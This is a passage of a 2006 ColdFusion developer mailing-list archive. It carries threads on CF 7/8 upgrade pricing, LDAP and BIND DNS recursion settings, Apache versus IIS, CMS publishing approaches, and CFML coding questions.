> > Andy
> > 
> > On 27/10/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
> > > Hey, Adobe!  (Or anyone else with some thoughts)
> > >
> > > If I upgrade to CF 7 now, can I get a free upgrade to CF 8?
> > >
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Re: Hey, Adobe! About my CF 7 upgrade!

[Andy Allan]

Mystik (CF7.0.2) got in the way ;)

On 27/10/06, Munson, Jacob <[EMAIL PROTECTED]> wrote:
> On that note, don't I remember hearing that CF 8 would be out this fall
> (I think I heard this last year).  What's taking so long!  ;)
>
> > -Original Message-
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> > Sent: Friday, October 27, 2006 8:44 AM
> >
> > You do get a grace period should you buy version x and then version y
> > comes out a short time afterwards.
> >
> > But seeing as how CF8 is only in Alpha, if you buy 7 right now you'll
> > need to buy an upgrade to 8 some time next year.
> >
> > Andy
> >
> > On 27/10/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
> > > Hey, Adobe!  (Or anyone else with some thoughts)
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> > >
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RE: Hey, Adobe! About my CF 7 upgrade!

[Munson, Jacob]

On that note, don't I remember hearing that CF 8 would be out this fall
(I think I heard this last year).  What's taking so long!  ;) 

> -Original Message-
> From: Andy Allan [mailto:[EMAIL PROTECTED] 
> Sent: Friday, October 27, 2006 8:44 AM
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> You do get a grace period should you buy version x and then version y
> comes out a short time afterwards.
> 
> But seeing as how CF8 is only in Alpha, if you buy 7 right now you'll
> need to buy an upgrade to 8 some time next year.
> 
> Andy
> 
> On 27/10/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
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> >
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LDAP Weidness

[Charles E. Heizer]

Hello,
I'm doing a ldap query and I'm running into a weird issue. If I use the FQDN
"ldap.llnl.gov" it does not work ("Connection to LDAP Server failed"). But,
if I use the IP it works fine. Now, I know cfldap can work with using a FQDN
since I'm connecting to another directory using the name not the IP.

Has anyone seen this and if so how did you fix it?

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RE: MG:U Breeze Preso Tonight

[Matt Quackenbush]

Cutter,

Great job on the preso.  Your first one, ehh?  Would've never guessed that
in a million years my friend.  Keep up the good work!


Thanks,

Matt
 

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Sent: Friday, October 27, 2006 5:45 AM
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Subject: Re: MG:U Breeze Preso Tonight

Guys (and gals), I apologize. It seems a lot of you were trying to RSVP in
within an hour of the preso. Aaron (trajiklyhip.com, head of the UG, and my
boss) would have been a) in traffic to the meeting site, or b) setting
things up for the preso. He probably didn't even think of checking his email
again. This is our second Breeze (Adobe Acrobat Connect Professional)
presentation, and my first presentation period, so we're still learning
here.

The good news is that the preso was recorded, and is available online either
at my blog (http://blog.cutterscrossing.com) or the Nashville CFUG site
(http://www.ncfug.com).

Again, sorry for the confusion. We'll try to get this a little closer to a
science by the next time.

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RE: Open DNS Server / Recursion

[Dennis Powers]

>> I have a problem in that when I disable Recursive look 
>> ups the DNS servers then fail to answer DNS queries 
>> from the local IP addresses.

In BIND you can set the bind.conf file to only allow certain IP address to
be able to initiate a recursive query.

The directive is in the options section:

options {
  directory "c:\bind\etc";
  // version statement for security to avoid hacking known weaknesses   
  version "not disclosed";
  // disables all zone transfer requests except for local network
  allow-transfer{12.199.124.0/23;};
  // Allow anyone to query
  // only allow the local net to issue recursive queries
  allow-query {"any";};
  allow-recursion {12.199.124.0/23;};
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RE: Hey, Adobe! About my CF 7 upgrade!

[Ian Skinner]

But seeing as how CF8 is only in Alpha, if you buy 7 right now you'll need to 
buy an upgrade to 8 some time next year.

Well, you could buy the 2 year subscription that will include any upgrades that 
come along in those 2 years.  The subscription costs considerably more then one 
copy of CF, but noticeable less then the price of two.

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RE: Hey, Adobe! About my CF 7 upgrade!

[Rick Faircloth]

B!  :o)

-Original Message-
From: Andy Allan [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 10:44 AM
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Subject: Re: Hey, Adobe! About my CF 7 upgrade!

You do get a grace period should you buy version x and then version y
comes out a short time afterwards.

But seeing as how CF8 is only in Alpha, if you buy 7 right now you'll
need to buy an upgrade to 8 some time next year.

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RE: Constructing multi-user/multi-site applications...

[Rick Faircloth]

Hmmmexample of a global navigation link?

(Or is a global "naviation" link something that is used
by pilots to move from point to point as opposed to
site to site.  :o)  (jk...

It's Friday and I'm tired...)

Rick

-Original Message-
From: Mark A Kruger [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 10:42 AM
To: CF-Talk
Subject: RE: Constructing multi-user/multi-site applications...

There are several CMS applications that use a similar approach. Red-Dot for
example, publishes all your HTML files using CFFTP. One thing to consider.
It makes things like updating a global naviation link a real pain :)

-mark 

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Sent: Friday, October 27, 2006 9:37 AM
To: CF-Talk
Subject: RE: Constructing multi-user/multi-site applications...

> I'm just joking around with ya on this one. I think you're the only 
> one outside of Government Agency's using something lower than 6.0 :-)

No, actually I think there's one other fellow in Tibet who is still using
it, but I haven't heard from him in awhile...  ;o)

Let's see if I've got my brain wrapped around your approach (in the simplest
terms)...

- Client has static html pages, which utilize includes for content

- Client updates content (images, text, etc.) and that content goes
  into your database (connected via Primary Key to Client)
  (This may be incorrect, because you publish entire html pages,
   not just pieces of content from a database.)
  Are the clients using your CMS for determining every part of their
  web pages?  As in "Choose your top graphic", Choose your first
  image on the page", "Enter your heading for this page", etc.

- If they are choosing every piece of data to be displayed on an
  an HTML page, I could see where you could use includes to create
  HTML pages from storing that data in your database, then using
  includes to create the static pages.  If they aren't choosing every
  piece of data, then I guess you have templates which make it
  possible for them to change only certain pieces of data o the pages.

- Is my understanding anywhere in the ballpark?

- I thought about creating CMS areas where a representation of the
  page the client is working on is presented, then they just click on
  an element on the page (after I've designed the page, initially) that
  they want to change and they are taken to a form which they will use
  to change the element.

- I think your system adds an extra layer to prevent constant database
  access.  You use your database to identify appropriate data, then
  use CF code to place that data in appropriate files  (XML?) and images
  in appropriate directories, which then acts as static content for the
  clients' websites, until they make further changes.  Anywhere near
  accurate?

- Sounds like a very interesting way to create static sites from
database-driven
  content, that eliminates much of the database activity.  Is that the main
  purpose of your system?

- The approach I'm considering would do the same thing, it seems, but would
  still utilize the database directly for dynamically providing content for
sites.

- You create a middle layer of code for turning

 that data into static html (updateable
  by your client) code...right?

Thanks for your time and feedback...

Rick

PS - Hey, Adobe!  If I upgrade to CF 7 now, can I get a free upgrade to CF 8
when it's available?



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Sent: Friday, October 27, 2006 9:41 AM
To: CF-Talk
Subject: Re: Constructing multi-user/multi-site applications...

On 10/26/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
>
> Hi, Casey, and thanks for the feedback.
>
> I'd like to know more about what you mean by this:
>
> " We flush the above things out to their individual portals as static 
> content.
>   Meaning cfftp much of the time, well events are an xml feed but the 
> point
>   is, there is very little overhead on the server because once they 
> "publish"
>   it's gone!"


We store their content  of a page in our database and when it comes time to
publish the page, we then take that content and create a static html files.
When they add pictures and files, we place them in a directory initially on
our server and when they publish the CMS page, we re-write the locations of
these files in the saved html page so they match the directory structure of
their webserver.  Now cfftp opens a connection and sends all the goodies
over to their website. These files are then ready to be included in their
template file, normally as an include.

asp: 

 cfml: 


Nothing database driven in that setup, huh?  How do you get the content
> to send to the sites?


Database drives the admin area. Who has access to what pages, what
galleries, and what applications overall so we can turn on or off
functionality depending on the domain and the user. When the user commits
their changes we are publishing this database content as static which m

Re: Look, up in the sky! (you gotta go do this)

[Dan Plesse]

I was thinking Scorpio was that
supervillaincharacter on
the
*The Simpsons *

http://en.wikipedia.org/wiki/You_Only_Move_Twice


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Re: help on the cfif code

[Jake Churchill]

Claude Schneegans wrote:
>  >>If a CFQUERY returns no records it does not exist
>
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Re: help on the cfif code

[Claude Schneegans]

 >>If a CFQUERY returns no records it does not exist

This is not true, If a CFQUERY returns no records, the query exists and 
have all columns set to empty strings.

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RE: URL for CF7 Multi-Server configurations

[Russ]

+1.  The things I can do because of mod_rewrite and mod_proxy alone are
worth using apache.  IIS should technically be faster because it runs as a
kernel process, I believe, but these days it doesn't matter.  As was said
many times, both apache and IIS can saturate the network connection using
any recent pc.  The performance is really going to depend on the backend
tool you use, and if you don't use .NET, there is no point running IIS.
Apache is FAR more configurable, and has a lot more FREE modules that let
you do amazing things. 

For example: Let say you want to have your development server available
externally, over port 80.  Your isp blocks port 80.  How would you solve
this with IIS?  With apache you can just set up a virtual site on your
production server and have it proxy the content from your dev server over a
different port.  

Russ

> -Original Message-
> From: Rob Wilkerson [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 10:54 AM
> To: CF-Talk
> Subject: Re: URL for CF7 Multi-Server configurations
> 
> I prefer Apache for a lot of reasons, but I've never done any
> benchmarking and can't say with any certainty whether it's faster.  I
> mostly know that it's FAR more extensible and configurable and that
> makes my life much easier.
> 
> On 10/27/06, Dave Hatz <[EMAIL PROTECTED]> wrote:
> > Apache on a Win Box is faster than IIS6?  Is that really true?
> >
> > -Original Message-
> > From: Robertson-Ravo, Neil (RX)
> > [mailto:[EMAIL PROTECTED]
> > Sent: Friday, October 27, 2006 1:19 AM
> > To: CF-Talk
> > Subject: Re: URL for CF7 Multi-Server configurations
> >
> > I also find Apache is faster and more reliable. We use IIS at our
> company
> > but that is due to our links with Microsoft, I would happily move to
> Apache
> > if I could!
> >
> > I run both locally for testing etc.
> >
> >
> >
> 
> 

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Re: CF Script primer

[Ron Gowen]

http://tutorial84.easycfm.com/

On 10/27/06, Cutter (CFRelated) <[EMAIL PROTECTED]> wrote:
>
> Well, when House Of Fusion comes back up:
>
> http://www.houseoffusion.com/docs/cfscript/
>
> Cutter
> 
> http://blog.cutterscrossing.com
>
> [EMAIL PROTECTED] wrote:
> > hey guys,
> >
> > (and girls)
> >
> > Does anyone know of a good CFScript primer?
> >
> > Thanks
> >
> > Scott A. Stewart
> > REAC/PASS-IT
> > (202)-475-8875
>
> 

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Re: Constructing multi-user/multi-site applications...

[mac jordan]

On 10/26/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
>
>
> One, build complete sites as templates and sell the templates,
> each as a complete site with separate database, etc.
>
>
we've spent a lot (understatement) of time and effort rolling our own CMS,
which allows the client to add their own menu items, pages, galleries,
mailing lists, etc.  It runs from a core set of files, but each site has its
own database and CSS, for a start.  And we can add additional functionality
to each site by means of a master database etc.  This means we can set up a
site within a couple of days, depending on the design, and the basic site
structure is all scripted, so a simple batch file on the server does pretty
much all of it.

it's paid for itself over and over, in terms of quick response, and fast
support, and I'm really glad we did it.  It doesn't fit all clients, but it
makes a good jumping off point for most of them.




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Re: visual tool to display table relationships

[Mingo Hagen]

free with sql server 200 is Sql Enterprise Manager's diagram tool.

Mingo.

[EMAIL PROTECTED] wrote:
> I'm so sorry for posting this here, but I know there are a lot of sharp cf 
> programmers that
> would have an opinion on this question.
>
> I'm looking for a free tool that will help to show me my tables and their 
> relationships. 
> (SQL Server 2000)
>
> D
>
> 

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RE: visual tool to display table relationships

[Brad Wood]

Have you tried simply making your relational diagrams with Enterprise
Manager.  I don't know if you can get much better than that since it
comes with SQL server

~Brad

-Original Message-
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Sent: Friday, October 27, 2006 10:07 AM
To: CF-Talk
Subject: visual tool to display table relationships

I'm so sorry for posting this here, but I know there are a lot of sharp
cf programmers that
would have an opinion on this question.

I'm looking for a free tool that will help to show me my tables and
their relationships. 
(SQL Server 2000)

D



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Re: Constructing multi-user/multi-site applications...

[Casey Dougall]

Yeah Rick, that about does it.

Everything for the most part is tied into their client id.  When they edit
their content they don't actually see it as it would live on the page but
that is of course another route you could follow where you select the
template you are going to use for a piece of content from with a particular
page. Paperthin goes this route same as Microsoft CMS, where you actually
click edit page and it brings you into an editor mode looking at the page
but now with text boxes surrounding the editable content.

We still need to initially setup where the includes fit in their site and
maybe make a change to their Navigation and site-maps to include a new file
but these items take minutes to complete and it might take 1 to 3 years
before the client actually requests a change to the nav. structure meaning a
new page so it's all good on that front. I say we are saving static html
files but of course  our websites are either saved as .asp or .cfml so we
can use includes.

Casey


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Re: CF Script primer

[Cutter (CFRelated)]

Well, when House Of Fusion comes back up:

http://www.houseoffusion.com/docs/cfscript/

Cutter

http://blog.cutterscrossing.com

[EMAIL PROTECTED] wrote:
> hey guys, 
> 
> (and girls)
> 
> Does anyone know of a good CFScript primer?
> 
> Thanks
> 
> Scott A. Stewart
> REAC/PASS-IT
> (202)-475-8875

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visual tool to display table relationships

[coldfusion . developer]

I'm so sorry for posting this here, but I know there are a lot of sharp cf 
programmers that
would have an opinion on this question.

I'm looking for a free tool that will help to show me my tables and their 
relationships. 
(SQL Server 2000)

D

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Re: URL for CF7 Multi-Server configurations

[Rob Wilkerson]

I prefer Apache for a lot of reasons, but I've never done any
benchmarking and can't say with any certainty whether it's faster.  I
mostly know that it's FAR more extensible and configurable and that
makes my life much easier.

On 10/27/06, Dave Hatz <[EMAIL PROTECTED]> wrote:
> Apache on a Win Box is faster than IIS6?  Is that really true?
>
> -Original Message-
> From: Robertson-Ravo, Neil (RX)
> [mailto:[EMAIL PROTECTED]
> Sent: Friday, October 27, 2006 1:19 AM
> To: CF-Talk
> Subject: Re: URL for CF7 Multi-Server configurations
>
> I also find Apache is faster and more reliable. We use IIS at our company
> but that is due to our links with Microsoft, I would happily move to Apache
> if I could!
>
> I run both locally for testing etc.
>
>
> 

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CF Script primer

[Scott_A . _Stewart]

hey guys, 

(and girls)

Does anyone know of a good CFScript primer?

Thanks

Scott A. Stewart
REAC/PASS-IT
(202)-475-8875

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Re: Hey, Adobe! About my CF 7 upgrade!

[Andy Allan]

You do get a grace period should you buy version x and then version y
comes out a short time afterwards.

But seeing as how CF8 is only in Alpha, if you buy 7 right now you'll
need to buy an upgrade to 8 some time next year.

Andy

On 27/10/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
> Hey, Adobe!  (Or anyone else with some thoughts)
>
> If I upgrade to CF 7 now, can I get a free upgrade to CF 8?
>
> If not now, when?
>
> Rick
>
>
>
> 

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RE: Constructing multi-user/multi-site applications...

[Mark A Kruger]

There are several CMS applications that use a similar approach. Red-Dot for
example, publishes all your HTML files using CFFTP. One thing to consider.
It makes things like updating a global naviation link a real pain :)

-mark 

-Original Message-
From: Rick Faircloth [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 9:37 AM
To: CF-Talk
Subject: RE: Constructing multi-user/multi-site applications...

> I'm just joking around with ya on this one. I think you're the only 
> one outside of Government Agency's using something lower than 6.0 :-)

No, actually I think there's one other fellow in Tibet who is still using
it, but I haven't heard from him in awhile...  ;o)

Let's see if I've got my brain wrapped around your approach (in the simplest
terms)...

- Client has static html pages, which utilize includes for content

- Client updates content (images, text, etc.) and that content goes
  into your database (connected via Primary Key to Client)
  (This may be incorrect, because you publish entire html pages,
   not just pieces of content from a database.)
  Are the clients using your CMS for determining every part of their
  web pages?  As in "Choose your top graphic", Choose your first
  image on the page", "Enter your heading for this page", etc.

- If they are choosing every piece of data to be displayed on an
  an HTML page, I could see where you could use includes to create
  HTML pages from storing that data in your database, then using
  includes to create the static pages.  If they aren't choosing every
  piece of data, then I guess you have templates which make it
  possible for them to change only certain pieces of data o the pages.

- Is my understanding anywhere in the ballpark?

- I thought about creating CMS areas where a representation of the
  page the client is working on is presented, then they just click on
  an element on the page (after I've designed the page, initially) that
  they want to change and they are taken to a form which they will use
  to change the element.

- I think your system adds an extra layer to prevent constant database
  access.  You use your database to identify appropriate data, then
  use CF code to place that data in appropriate files  (XML?) and images
  in appropriate directories, which then acts as static content for the
  clients' websites, until they make further changes.  Anywhere near
  accurate?

- Sounds like a very interesting way to create static sites from
database-driven
  content, that eliminates much of the database activity.  Is that the main
  purpose of your system?

- The approach I'm considering would do the same thing, it seems, but would
  still utilize the database directly for dynamically providing content for
sites.

- You create a middle layer of code for turning

 that data into static html (updateable
  by your client) code...right?

Thanks for your time and feedback...

Rick

PS - Hey, Adobe!  If I upgrade to CF 7 now, can I get a free upgrade to CF 8
when it's available?



-Original Message-
From: Casey Dougall [mailto:[EMAIL PROTECTED]
Sent: Friday, October 27, 2006 9:41 AM
To: CF-Talk
Subject: Re: Constructing multi-user/multi-site applications...

On 10/26/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
>
> Hi, Casey, and thanks for the feedback.
>
> I'd like to know more about what you mean by this:
>
> " We flush the above things out to their individual portals as static 
> content.
>   Meaning cfftp much of the time, well events are an xml feed but the 
> point
>   is, there is very little overhead on the server because once they 
> "publish"
>   it's gone!"


We store their content  of a page in our database and when it comes time to
publish the page, we then take that content and create a static html files.
When they add pictures and files, we place them in a directory initially on
our server and when they publish the CMS page, we re-write the locations of
these files in the saved html page so they match the directory structure of
their webserver.  Now cfftp opens a connection and sends all the goodies
over to their website. These files are then ready to be included in their
template file, normally as an include.

asp: 

 cfml: 


Nothing database driven in that setup, huh?  How do you get the content
> to send to the sites?


Database drives the admin area. Who has access to what pages, what
galleries, and what applications overall so we can turn on or off
functionality depending on the domain and the user. When the user commits
their changes we are publishing this database content as static which means
the client needs very little to run these pages on their web server.


Do you enter it in xml pages yourself and have that
> same info used on a variety of sites?  Is the information custom for 
> each site?  (Perhaps it's time to learn XML...never could find a use 
> for it...perhaps this is it)


Events run slightly different. We create an xml style sheet on their server
and feed the events list from

Hey, Adobe! About my CF 7 upgrade!

[Rick Faircloth]

Hey, Adobe!  (Or anyone else with some thoughts)

If I upgrade to CF 7 now, can I get a free upgrade to CF 8?

If not now, when?

Rick



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RE: Constructing multi-user/multi-site applications...

[Rick Faircloth]

> I'm just joking around with ya on this one. I think you're the only one
> outside of Government Agency's using something lower than 6.0 :-)

No, actually I think there's one other fellow in Tibet who is still using
it,
but I haven't heard from him in awhile...  ;o)

Let's see if I've got my brain wrapped around your approach (in the
simplest terms)...

- Client has static html pages, which utilize includes for content

- Client updates content (images, text, etc.) and that content goes
  into your database (connected via Primary Key to Client)
  (This may be incorrect, because you publish entire html pages,
   not just pieces of content from a database.)
  Are the clients using your CMS for determining every part of their
  web pages?  As in "Choose your top graphic", Choose your first
  image on the page", "Enter your heading for this page", etc.

- If they are choosing every piece of data to be displayed on an
  an HTML page, I could see where you could use includes to create
  HTML pages from storing that data in your database, then using
  includes to create the static pages.  If they aren't choosing every
  piece of data, then I guess you have templates which make it
  possible for them to change only certain pieces of data o the pages.

- Is my understanding anywhere in the ballpark?

- I thought about creating CMS areas where a representation of the
  page the client is working on is presented, then they just click on
  an element on the page (after I've designed the page, initially) that
  they want to change and they are taken to a form which they will use
  to change the element.

- I think your system adds an extra layer to prevent constant database
  access.  You use your database to identify appropriate data, then
  use CF code to place that data in appropriate files  (XML?) and images
  in appropriate directories, which then acts as static content for the
  clients' websites, until they make further changes.  Anywhere near
  accurate?

- Sounds like a very interesting way to create static sites from
database-driven
  content, that eliminates much of the database activity.  Is that the main
  purpose of your system?

- The approach I'm considering would do the same thing, it seems, but would
  still utilize the database directly for dynamically providing content for
sites.

- You create a middle layer of code for turning

 that data into static html (updateable
  by your client) code...right?

Thanks for your time and feedback...

Rick

PS - Hey, Adobe!  If I upgrade to CF 7 now, can I get a free upgrade to
CF 8 when it's available?



-Original Message-
From: Casey Dougall [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 9:41 AM
To: CF-Talk
Subject: Re: Constructing multi-user/multi-site applications...

On 10/26/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
>
> Hi, Casey, and thanks for the feedback.
>
> I'd like to know more about what you mean by this:
>
> " We flush the above things out to their individual portals as static
> content.
>   Meaning cfftp much of the time, well events are an xml feed but the
> point
>   is, there is very little overhead on the server because once they
> "publish"
>   it's gone!"


We store their content  of a page in our database and when it comes time to
publish the page, we then take that content and create a static html files.
When they add pictures and files, we place them in a directory initially on
our server and when they publish the CMS page, we re-write the locations of
these files in the saved html page so they match the directory structure of
their webserver.  Now cfftp opens a connection and sends all the goodies
over to their website. These files are then ready to be included in their
template file, normally as an include.

asp: 

 cfml: 


Nothing database driven in that setup, huh?  How do you get the content
> to send to the sites?


Database drives the admin area. Who has access to what pages, what
galleries, and what applications overall so we can turn on or off
functionality depending on the domain and the user. When the user commits
their changes we are publishing this database content as static which means
the client needs very little to run these pages on their web server.


Do you enter it in xml pages yourself and have that
> same info used on a variety of sites?  Is the information custom for each
> site?  (Perhaps it's time to learn XML...never could find a use for
> it...perhaps
> this is it)


Events run slightly different. We create an xml style sheet on their server
and feed the events list from our server.

Their are still projects we need to exclude from this type of setup but for
the most part it works for 3/4's of the projects. Everything else would be
100% custom.

CF 7...perhaps when we enter into the window of "buy CF 7 now, and get
> a *free* upgrade to CF 8...I don't want to pay $1300 now and another $600
> in less than a year.


I'm just joking around with ya on this one. I think you're the only one

RE: URL for CF7 Multi-Server configurations

[Dave Hatz]

Apache on a Win Box is faster than IIS6?  Is that really true? 

-Original Message-
From: Robertson-Ravo, Neil (RX)
[mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 1:19 AM
To: CF-Talk
Subject: Re: URL for CF7 Multi-Server configurations

I also find Apache is faster and more reliable. We use IIS at our company
but that is due to our links with Microsoft, I would happily move to Apache
if I could!

I run both locally for testing etc.


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Re: Open DNS Server / Recursion

[Eric Haskins]

Run a second internal recursive DNS server for your local users. Then set
your DNS Server for your domains without recursion.

Eric Haskins
Web Systems Developer
Rooms To Go


On 10/27/06, Jenny Gavin-Wear <[EMAIL PROTECTED]> wrote:
>
> The problem is that with Recursion enabled on a DNS server hosting domain
> is
> it allows IP forging for spammers. (From what I have read.) I have some
> pillock spammer forging my IP through this method.  I have been told by my
> hosting company that I need to sort this out.
>
> With recursion turned off it means the mail server won't work as it won't
> be
> able to look up non-local domains. So, I need to be able to restrict the
> facility of recursive lookups to the local IPs.  I can't see any way to do
> that.
>
>
> -Original Message-
> From: Russ [mailto:[EMAIL PROTECTED]
> Sent: 26 October 2006 19:17
> To: CF-Talk
> Subject: RE: Open DNS Server / Recursion
>
>
> Easy... don't disable recursive lookups.
>
> Without recursive lookups, your DNS server will only respond to queries
> about things that it knows... i.e. the dns entries hosted on your server.
>
> In order for it to resolve domains that it knows nothing about, it must go
> and do a recursive lookup using other dns servers.
>
> Russ
>
> > -Original Message-
> > From: Jenny Gavin-Wear [mailto:[EMAIL PROTECTED]
> > Sent: Thursday, October 26, 2006 8:44 AM
> > To: CF-Talk
> > Subject: OT: Open DNS Server / Recursion
> >
> > Totally off topic.
> >
> > I run DNS servers for a number of domains and also mail servers for
> those
> > domains.
> >
> > I have a problem in that when I disable Recursive look ups the DNS
> servers
> > then fail to answer DNS queries from the local IP addresses.
> >
> > Any ideas anyone please?
> >
> > Jenny
> >
> > Jennifer Gavin-Wear
> > Fast Track Online
> > Tel: 01262 602013
> > http://www.fasttrackonline.co.uk/
> >
> >
> > --
> > No virus found in this outgoing message.
> > Checked by AVG Free Edition.
> > Version: 7.1.408 / Virus Database: 268.13.11/497 - Release Date:
> > 25/10/2006
> >
> >
> >
> >
>
>
>
> 

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RE: MG:U Breeze Preso Tonight

[Ben Nadel]

Awesome thanks, checking it out right now (the boss ain't in yet ;))

..
Ben Nadel
Certified Advanced ColdFusion Developer
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-Original Message-
From: Andy Matthews [mailto:[EMAIL PROTECTED] 
Sent: Friday, October 27, 2006 9:31 AM
To: CF-Talk
Subject: RE: MG:U Breeze Preso Tonight

For anyone interested, here's the archived presentation:
http://mmusergroup.adobe.acrobat.com/p45277812/

I was there in person and it was great! Extremely helpful and very
informative.



-Original Message-
From: Mary Jo Sminkey [mailto:[EMAIL PROTECTED]
Sent: Thursday, October 26, 2006 5:16 PM
To: CF-Talk
Subject: Re: MG:U Breeze Preso Tonight


Or here.

I was hoping maybe whoever was in charge of registering would get online
shortly before the meeting, but guess not.

Oh well, hopefully it will be recorded and posted.

--- Mary Jo




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Re: Image CFC "Image Object"

[Jake Churchill]

You are correct, this is the object in memory.  If you are going to do 
one simple operation, it's easier to just call the appropriate method 
like resize() and pass the file paths.  If you are doing a bunch of 
things, retain the object in memory and just pass the object.  This will 
speed up the process because it will not read/write to/from the disc for 
each operation.

James Holmes wrote:
> Reading the source code, it's a java.awt.image.BufferedImage:
>
> 
>
> It's returned as part of the struct from many of the methods.
>
>
> On 10/27/06, Casey Dougall <[EMAIL PROTECTED]> wrote:
>   
>> On 10/27/06, Chris Peters <[EMAIL PROTECTED]> wrote:
>> 
>>> I'm using Rick Root's Image CFC. One of the arguments for many of the
>>> CFC's methods is called "objImage." This is described in the docs as an
>>> "image object," but it doesn't show any examples of its usage, and it
>>> doesn't describe what data type this image object should be. Does anyone
>>> know?
>>>   
>>
>> I'm like 90% positive that objImage. would allow you to continue to work
>> with the image in memory before saving it to disk. If you are performing
>> additional operations you would to them in succession, then save the final
>> image to disk.
>>
>> Casey
>>
>>
>>
>> 
>
> 

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Re: Image CFC "Image Object"

[James Holmes]

Reading the source code, it's a java.awt.image.BufferedImage:



It's returned as part of the struct from many of the methods.


On 10/27/06, Casey Dougall <[EMAIL PROTECTED]> wrote:
> On 10/27/06, Chris Peters <[EMAIL PROTECTED]> wrote:
> >
> > I'm using Rick Root's Image CFC. One of the arguments for many of the
> > CFC's methods is called "objImage." This is described in the docs as an
> > "image object," but it doesn't show any examples of its usage, and it
> > doesn't describe what data type this image object should be. Does anyone
> > know?
>
>
>
> I'm like 90% positive that objImage. would allow you to continue to work
> with the image in memory before saving it to disk. If you are performing
> additional operations you would to them in succession, then save the final
> image to disk.
>
> Casey
>
>
> 

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Re: Image CFC "Image Object"

[Casey Dougall]

On 10/27/06, Chris Peters <[EMAIL PROTECTED]> wrote:
>
> I'm using Rick Root's Image CFC. One of the arguments for many of the
> CFC's methods is called "objImage." This is described in the docs as an
> "image object," but it doesn't show any examples of its usage, and it
> doesn't describe what data type this image object should be. Does anyone
> know?



I'm like 90% positive that objImage. would allow you to continue to work
with the image in memory before saving it to disk. If you are performing
additional operations you would to them in succession, then save the final
image to disk.

Casey


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Re: Constructing multi-user/multi-site applications...

[Casey Dougall]

On 10/26/06, Rick Faircloth <[EMAIL PROTECTED]> wrote:
>
> Hi, Casey, and thanks for the feedback.
>
> I'd like to know more about what you mean by this:
>
> " We flush the above things out to their individual portals as static
> content.
>   Meaning cfftp much of the time, well events are an xml feed but the
> point
>   is, there is very little overhead on the server because once they
> "publish"
>   it's gone!"


We store their content  of a page in our database and when it comes time to
publish the page, we then take that content and create a static html files.
When they add pictures and files, we place them in a directory initially on
our server and when they publish the CMS page, we re-write the locations of
these files in the saved html page so they match the directory structure of
their webserver.  Now cfftp opens a connection and sends all the goodies
over to their website. These files are then ready to be included in their
template file, normally as an include.

asp: 

 cfml: 


Nothing database driven in that setup, huh?  How do you get the content
> to send to the sites?


Database drives the admin area. Who has access to what pages, what
galleries, and what applications overall so we can turn on or off
functionality depending on the domain and the user. When the user commits
their changes we are publishing this database content as static which means
the client needs very little to run these pages on their web server.


Do you enter it in xml pages yourself and have that
> same info used on a variety of sites?  Is the information custom for each
> site?  (Perhaps it's time to learn XML...never could find a use for
> it...perhaps
> this is it)


Events run slightly different. We create an xml style sheet on their server
and feed the events list from our server.

Their are still projects we need to exclude from this type of setup but for
the most part it works for 3/4's of the projects. Everything else would be
100% custom.

CF 7...perhaps when we enter into the window of "buy CF 7 now, and get
> a *free* upgrade to CF 8...I don't want to pay $1300 now and another $600
> in less than a year.


I'm just joking around with ya on this one. I think you're the only one
outside of Government Agency's using something lower than 6.0 :-)


Casey


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Re: file size when uploading multiple files

[Mingo Hagen]

I'm also not aware of a way (other then java/flash) to do this client-side.
We do it the same way you described (but on the cffile, not on the 
entire cgi.content_length).

daniel kessler wrote:
> Is there a way and if not, what do y'all do?



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RE: MG:U Breeze Preso Tonight

[Andy Matthews]

For anyone interested, here's the archived presentation:
http://mmusergroup.adobe.acrobat.com/p45277812/

I was there in person and it was great! Extremely helpful and very
informative.



-Original Message-
From: Mary Jo Sminkey [mailto:[EMAIL PROTECTED]
Sent: Thursday, October 26, 2006 5:16 PM
To: CF-Talk
Subject: Re: MG:U Breeze Preso Tonight


Or here.

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shortly before the meeting, but guess not.

Oh well, hopefully it will be recorded and posted.

--- Mary Jo


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Re: help on the cfif code

[RichL]

Hmm I disagree on both accounts I Doug

- Peter was saying that the syntax was invalid and not fit for the
situation not just that you don't need an operator - which isn't true

- it seems from what Alex is saying that he is dropping in to the else
condition as he seems to be suggesting there is a zero recordcount
i.e. nothing coming back from the database - although I may be
interpreting this wrong from what Alex is saying

On 10/27/06, Doug Brown <[EMAIL PROTECTED]> wrote:
> Basically he is saying that you need not use a comparison operator with
> ..recordCount. I have tried your code the way you have written it and all is
> good though. I would say that your problem lies in what is being output by
> your database. I am thinking you have a problem with hidden characters or
> something. So if you query your database and put in a where yourID = an ID
> that does not exist what is the value of recordCount?
>
> #yourQuery.recordcount#
>
>
>
> 

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